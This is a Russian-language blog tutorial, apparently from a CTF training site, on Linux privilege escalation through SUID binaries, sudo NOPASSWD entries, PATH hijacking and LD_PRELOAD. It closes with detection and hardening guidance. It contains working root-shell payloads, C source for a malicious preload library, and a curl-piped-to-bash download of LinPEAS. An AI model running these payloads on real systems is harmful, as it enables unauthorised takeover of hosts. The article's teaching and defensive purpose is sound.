Главная / Блог / SUID и sudo: privilege escalation в Linux-лабах

11 мин.00

SUID и sudo: privilege escalation в Linux-лабах

SUID и sudo: privilege escalation в Linux-лабах

По данным CrowdStrike Global Threat Report 2025, 75% вторжений связаны с использованием действительных учётных данных. А дальше что? Дальше — privilege escalation. На CTF-машинах картина ещё проще: больше половины Linux-боксов уровня Medium на HackTheBox рутятся через SUID-бинарник или sudo misconfiguration. Не через kernel exploit, не через cron race condition — через sudo -l с NOPASSWD на find или забытый SUID-бит на vim. Два вектора, один результат: полный контроль над системой. Ниже — полный workflow от энумерации до root shell, с разбором внутренней механики, которая отличает рабочий эксплойт от сброшенных привилегий.

SUID и sudo: два механизма повышения привилегий

Копипаст команд из GTFOBins без понимания механики — путь к разочарованию. Одна и та же ошибка: человек получает SUID-shell через find, пробует whoami, видит root — а при попытке прочитать /etc/shadow ловит Permission denied. Почему? Разница между effective UID и real UID. Подробнее — в нашем руководстве по linux для пентестера.

SUID-бит (Set User ID) говорит ядру: запусти бинарник с effective UID (euid) владельца файла. Владелец root — процесс получает euid=0, но real UID (ruid) остаётся прежним. И вот тут начинается самое интересное: bash при запуске сравнивает euid и ruid. Не совпадают — оболочка сбрасывает привилегии обратно к ruid. Поэтому для SUID-эксплуатации bash нужен флаг -p (privileged mode), который запрещает оболочке трогать euid. В терминологии MITRE ATT&CK это техника Setuid and Setgid (T1548.001, Privilege Escalation).

sudo работает иначе. При выполнении sudo command процесс получает uid=0 и euid=0 одновременно — полноценный root-контекст без расхождения идентификаторов. Bash не сбросит привилегии, флаг -p не нужен.

Для атакующего логика простая: после initial access (веб-шелл, скомпрометированный SSH) privilege escalation открывает /etc/shadow для credential harvesting, позволяет повесить persistence через cron (T1053.003) или SSH-ключи и пойти в lateral movement на соседние хосты.

Техника Предусловия Привилегии процесса Нужен -p для bash
SUID-бинарник Файл принадлежит root, установлен бит u+s euid=0, ruid=user Да
sudo NOPASSWD Запись NOPASSWD в sudoers uid=0, euid=0 Нет
LD_PRELOAD через sudo env_keep += LD_PRELOAD в sudoers uid=0, euid=0 Нет
PATH hijacking (SUID) Кастомный SUID вызывает команду без полного пути euid=0, ruid=user Зависит от shell

Поиск SUID файлов и sudo-разрешений в Linux

Энумерация — первое, что делаешь после стабилизации shell. Две команды, которые запускаются на каждой машине без исключения: find / -perm -4000 -type f 2>/dev/null для поиска SUID файлов и sudo -l для проверки sudo-разрешений. Первая ищет все файлы с установленным SUID-битом (маска -4000), вторая показывает, какие команды текущий пользователь может выполнить через sudo.

# Базовая энумерация: запускать сразу после стабилизации shell
id
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ls -la /etc/cron.d/

Результат find — список из 10-20 бинарников, большинство штатные: /usr/bin/passwd, /usr/bin/mount, /usr/bin/ping. Задача — отфильтровать штатные от потенциально эксплуатируемых. Нестандартные SUID-бинарники — find, vim, bash, python, nmap, cp, nano — потенциальный путь к root. Отдельно про passwd: хотя он штатно имеет SUID-бит, на GTFOBins задокументирован только в контексте Privilege Escalation (через перезапись пароля root), а не в категории SUID — не универсальный SUID-вектор для получения shell. И ещё нюанс: не все бинарники из списка задокументированы в GTFOBins именно для SUID — часть (nmap, nano) имеет payload только для sudo или shell-контекста. Каждый бинарник нужно проверять по GTFOBins в доступных для него категориях (Shell, SUID, Sudo, File Read, File Write — набор зависит от конкретного бинарника), прежде чем считать его вектором.

Для sudo -l ключевые записи — вида (ALL) NOPASSWD: /usr/bin/find или (root) NOPASSWD: /usr/bin/vim. NOPASSWD означает: пароль не спросят, эксплуатация мгновенная.

Автоматизация экономит время. LinPEAS — наиболее полный скрипт для Linux privesc-энумерации: стянуть через curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash, подсвечивает потенциальные векторы цветовой кодировкой — красно-жёлтые строки означают практически гарантированный путь к root. suid3num фокусируется на SUID-бинарниках и автоматически классифицирует их по степени опасности. Для обнаружения скрытых процессов (cron-задачи, не видные обычному пользователю) есть pspy — мониторит вызовы процессов без root-прав.

Эскалация привилегий через SUID-бинарники

Классика GTFOBins: find, vim, bash, python

Проект GTFOBins (gtfobins.github.io) документирует точные payload'ы для каждого контекста: SUID, sudo, capabilities. Четыре бинарника ниже — самые частые находки на CTF-машинах и в лабораторных средах.

find — самый распространённый вектор SUID misconfiguration в CTF. Параметр -exec выполняет произвольную команду от имени владельца файла. Эксплуатация: find . -exec /bin/bash -p \; -quit. Флаг -quit нужен, чтобы find не продолжал обход файловой системы после запуска shell. Согласно GTFOBins, в SUID-контексте обязателен -p для оболочки: find . -exec /bin/sh -p \; -quit.

bash — простейший случай. Если /usr/bin/bash имеет SUID-бит, достаточно bash -p. В выводе id увидите euid=0(root) — полноценный root-контекст. Без -p bash сбросит привилегии, и вы останетесь с обычной оболочкой. Тут даже думать не надо.

vim — текстовый редактор, который умеет запускать системные команды. Через SUID: vim -c ':!/bin/bash -p'. Или из уже открытого vim: Esc, затем :!/bin/bash -p. Тот же принцип — порождение bash с сохранением euid.

python — интерпретатор с полным доступом к системным вызовам. Тут GTFOBins показывает критическую разницу между контекстами. Для SUID: python -c 'import os; os.execl("/bin/bash", "bash", "-p")' — обратите внимание на -p в аргументах bash, включающий privileged mode. Здесь указан /bin/bash, а не /bin/sh, потому что на Debian/Ubuntu /bin/sh — это dash, который не поддерживает -p как privileged mode аналогично bash. Если /bin/bash недоступен, надёжнее предварительно вызвать os.setuid(0): python -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'. Для sudo тот же бинарник эксплуатируется без -p: python -c 'import os; os.execl("/bin/sh", "sh")'. Если на python установлена capability cap_setuid+ep вместо SUID, payload ещё один: python -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")' — здесь os.setuid(0) меняет ruid напрямую, после чего -p уже не нужен.

PATH hijacking через кастомный SUID-бинарник

Не всегда SUID стоит на стандартном бинарнике из GTFOBins. На CTF-машинах часто встречаются кастомные утилиты — скомпилированные программы, которые внутри вызывают системную команду без абсолютного пути. Например, бинарник /opt/statuscheck с SUID-битом вызывает system("service apache2 status") вместо system("/usr/sbin/service apache2 status").

Обнаружить такой вектор помогает strings /opt/statuscheck — покажет строковые литералы бинарника. Ищите вызовы системных команд без полного пути: system("curl ..."), system("cat ..."), system("service ..."). Для динамического анализа — ltrace /opt/statuscheck, он покажет вызовы библиотечных функций, включая system(). Учтите: ltrace часто отсутствует в минимальных образах и CTF-окружениях, не работает на статически слинкованных бинарниках и может блокироваться ptrace-ограничениями. Проверить тип линковки: file /opt/statuscheck (статический бинарник будет помечен как «statically linked»). В таких случаях берите strace (syscall-уровень) или objdump -d.

# PATH hijacking: подмена команды для SUID-бинарника
echo '#!/bin/bash' > /tmp/service
echo '/bin/bash -p' >> /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/opt/statuscheck
# Результат: bash с euid=0

Механика: переменная PATH определяет, где ОС ищет исполняемые файлы. Подставив /tmp в начало PATH, мы заставляем SUID-бинарник найти наш /tmp/service раньше настоящего /usr/sbin/service. Наш скрипт запускает bash с флагом -p — и получает euid=0, унаследованный от SUID-бинарника. Красиво, правда?

sudo misconfiguration: от NOPASSWD до LD_PRELOAD

NOPASSWD и эксплуатация через sudo -l

Вывод sudo -l — главный источник информации для этого вектора. Запись (ALL) NOPASSWD: /usr/bin/find означает: пользователь может запустить find от root без пароля. Эксплуатация аналогична SUID-варианту по логике, но с ключевым отличием — через sudo процесс получает полноценный uid=0, флаг -p не нужен: sudo find . -exec /bin/sh \; -quit.

Аналогично работают другие бинарники из GTFOBins. sudo vim -c ':!/bin/sh' — root shell. sudo python -c 'import os; os.execl("/bin/sh", "sh")' — python даже не требует -p, sudo уже дал uid=0. sudo awk 'BEGIN {system("/bin/sh")}' — awk тоже задокументирован.

Правило простое: если sudo -l показывает NOPASSWD на бинарнике из GTFOBins — это гарантированный root. На реальных пентестах такие находки документируются как критическая уязвимость конфигурации sudoers. По данным IBM X-Force Threat Intelligence Index 2025, количество атак с использованием действительных учётных данных выросло на 71% за год. Хотя эта статистика не относится напрямую к sudo, тренд говорящий: sudo misconfiguration превращает любую скомпрометированную учётку в root-доступ.

LD_PRELOAD: скрытый вектор через переменные окружения sudo

Этот вектор — самый недооценённый в контексте sudo misconfiguration privilege escalation. Если вывод sudo -l содержит env_keep+=LD_PRELOAD или в /etc/sudoers есть строка Defaults env_keep += LD_PRELOAD, можно загрузить произвольную shared library перед выполнением любой sudo-команды. Я на CTF встречал это реже, чем NOPASSWD, но когда встречаешь — улыбка до ушей.

Переменная LD_PRELOAD указывает динамическому линкеру загрузить указанную библиотеку (.so) до всех остальных. Функция с атрибутом __attribute__((constructor)) попадает в секцию .init_array и выполнится автоматически при загрузке библиотеки — до вызова main() основной программы.

// /tmp/shell.c — LD_PRELOAD privilege escalation
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
__attribute__((constructor)) void init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}

Компиляция: gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c. Эксплуатация: sudo LD_PRELOAD=/tmp/shell.so /usr/bin/find — подставьте любую команду, разрешённую через sudo. Функция init() отработает с uid=0, сбросит LD_PRELOAD (чтобы дочерний bash не унаследовал переменную) и выдаст root shell.

Нюанс: вектор работает только при явном разрешении LD_PRELOAD в env_keep. По умолчанию sudo очищает опасные переменные окружения. Но устаревшие шаблоны sudoers или «временные» конфигурации иногда оставляют эту дыру — и встречается она не только в CTF.

GTFOBins: примеры использования и системный подход

GTFOBins — не просто список бинарников, а классификатор. Каждая запись содержит payload'ы для конкретных контекстов: Shell (интерактивная оболочка), File Read (чтение файлов), File Write (запись), SUID, Sudo, Capabilities. Workflow для privilege escalation:

  1. Найти SUID-бинарник или sudo-разрешение (энумерация)
  2. Открыть GTFOBins, найти бинарник
  3. Выбрать доступный контекст (SUID, Sudo, Capabilities — не все есть у каждого бинарника)
  4. Скопировать команду, адаптировать под целевую систему
  5. Выполнить, проверить через id

По данным SecureLayer7, GTFOBins — основной справочник и для атакующих, и для защитников. Elastic Security использует EQL-правила для обнаружения SUID-эксплуатации, включающие списки известных GTFOBins-бинарников. Даже такие утилиты как hping3, dialog, mosquitto или csvtool могут стать вектором при наличии SUID-бита — и это не экзотика, а реальные находки. Если формула на бумаге понятна, но механику хочется почувствовать на практике — на HackerLab.pro в категориях Linux и PWN можно порешать задачи на аналогичные техники, регистрация обязательна.

Для blue team GTFOBins работает как аудиторский чеклист: каждый SUID-бинарник и каждая sudo-запись должны быть проверены против каталога. Совпадение = находка, а не «возможно, стоит посмотреть».

Обнаружение и hardening: Linux privilege escalation checklist

Sigma-проект (SigmaHQ) содержит правило proc_creation_lnx_setgid_setuid.yml, которое детектирует вызовы chmod с установкой SUID/SGID-битов — момент, когда misconfiguration создаётся. Для обнаружения уже установленных SUID-бинарников Elastic Security использует EQL-правило: отслеживает процессы с process.user.id == "0" при process.real_user.id != "0". Расхождение между effective и real UID — прямой индикатор SUID-эксплуатации.

Atomic Red Team (репозиторий Red Canary) содержит три теста для T1548.001: компиляция и модификация бинарника из C-исходника, установка SetUID-флага на файл. Используйте их для валидации детектирующих правил в вашем SIEM.

Фреймворк MITRE D3FEND предлагает контрмеры для T1548.001:

  • D3-AM (Access Modeling) — анализ конфигураций контроля доступа для выявления избыточных SUID-разрешений
  • D3-CI (Configuration Inventory) — инвентаризация и отслеживание изменений SUID-файлов и sudoers
  • D3-RC (Restore Configuration) — автоматическое восстановление к baseline при обнаружении нежелательных изменений

Практический hardening — это регулярный аудит. Найти все нестандартные SUID-бинарники: find / -perm -4000 -type f 2>/dev/null, отфильтровать штатные (passwd, sudo, ping). Каждый оставшийся — проверить по GTFOBins. Удалить SUID-бит: chmod u-s /path/to/binary. Для sudoers — минимизировать NOPASSWD-записи, убрать env_keep для LD_PRELOAD и LD_LIBRARY_PATH, использовать полные пути в разрешённых командах. DISA STIG для Ubuntu 22.04 LTS содержит конкретные требования по контролю SUID/SGID-файлов — это обязательные проверки для систем в промышленной эксплуатации, не рекомендации.

Девяносто процентов CTF-машин и заметная часть реальных Linux-серверов рутятся через два вектора из этой статьи. Ни kernel exploit, ни сложная цепочка с capabilities — банальный SUID на find или NOPASSWD в sudoers. Принято считать, что «настоящий» пентест — это zero-day и kernel RCE. По документам — может быть. На практике privilege escalation через SUID и sudo misconfiguration остаётся доминирующим вектором, потому что администраторы продолжают ставить SUID «временно» и забывать про него, а sudoers копируют из Stack Overflow без понимания последствий. По данным Mandiant M-Trends 2025, exploits (38%) — наиболее распространённый вектор initial access в 2024 году. Для privilege escalation внутри сети, по опыту CTF и пентестов, misconfiguration (SUID/sudo) встречается чаще kernel exploits, хотя Mandiant эту статистику напрямую не подтверждает. Я убеждён: CTF-игрок, который первым делом проверяет sudo -l и SUID, а не гуглит kernel exploit под версию ядра, решит 80% машин быстрее. Экзотика — это весело, но фундамент — это результат. Если хочешь не просто writeup, а пройти всю атаку самому — на WAPT каждый такой кейс разбирается с лабой.

🚀 Хочешь закрепить на практике? CTF-задачи и лабы ждут на HackerLab.

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Reverse engineering для начинающих: .NET и Java

12 мин.

6

Reverse engineering для начинающих: .NET и Java

Два полных разбора crackme — C# через dnSpy и Java через JD-GUI. Пошаговый walkthrough от открытия файла до флага для первого опыта в реверсе

26 ОКТЯБРЬ, 2026

Как написать write-up CTF: чеклист и шаблон

13 мин.

4

Как написать write-up CTF: чеклист и шаблон

Шаблон из 7 блоков, пример плохого и хорошего оформления одного таска, чеклист перед публикацией — всё для первого write-up CTF

25 ОКТЯБРЬ, 2026

Криптография CTF для начинающих: атаки на RSA

13 мин.

5

Криптография CTF для начинающих: атаки на RSA

Классические шифры и 3 атаки на RSA с кодом: малая экспонента, Хастад, Винер. Таблица распознавания атак для CTF.

25 ОКТЯБРЬ, 2026